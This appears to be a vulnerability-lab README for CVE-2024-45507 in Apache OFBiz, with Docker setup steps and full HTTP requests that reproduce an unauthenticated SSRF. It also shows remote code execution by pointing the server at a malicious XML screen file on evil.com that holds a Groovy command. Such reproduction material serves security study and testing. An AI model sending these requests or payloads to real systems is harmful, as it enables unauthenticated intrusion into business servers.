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+# Apache OFBiz SSRF and Remote Code Execution (CVE-2024-45507)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache OFBiz is an open source enterprise resource planning (ERP) system. It provides a suite of enterprise applications that integrate and automate many of the business processes of an enterprise.
+
+This vulnerability (CVE-2024-45507) affects Apache OFBiz versions prior to 18.12.16. It allows an unauthenticated attacker to perform Server-Side Request Forgery (SSRF) and potentially achieve remote code execution.
+
+References:
+
+- <https://github.com/apache/ofbiz-framework/commit/ffb1bc4879>
+- <https://xz.aliyun.com/t/15569>
+- <https://paper.seebug.org/3228/>
+
+## Vulnerable environment
+
+Execute the following command to start an Apache OFBiz 18.12.15 server:
+
+```
+docker compose up -d
+```
+
+After a short wait, you can see the login page at `https://localhost:8443/accounting`.
+
+## Vulnerability Reproduce
+
+### Server-Side Request Forgery (SSRF) attack
+
+Send a POST request to `/webtools/control/forgotPassword/StatsSinceStart` with the following request:
+
+```
+POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
+Host: localhost:8443
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 64
+
+statsDecoratorLocation=http://10.10.10.10/path/to/api
+```
+
+### Remote Code Execution
+
+Create a malicious XML file (payload.xml) on a public server like `http://evil.com/ofbiz/payload.xml`:
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
+
+    <screen name="StatsDecorator">
+        <section>
+            <actions>
+                <set value="${groovy:'touch /tmp/success'.execute();}"/>
+            </actions>
+        </section>
+    </screen>
+</screens>
+```
+
+Then replace your malicious XML url into following request and send:
+
+```
+POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
+Host: localhost:8443
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 64
+
+statsDecoratorLocation=http://evil.com/ofbiz/payload.xml
+```
+
+![](1.png)
+
+The command `touch /tmp/success` will be executed on the target server, demonstrating successful exploitation.
+
+![](2.png)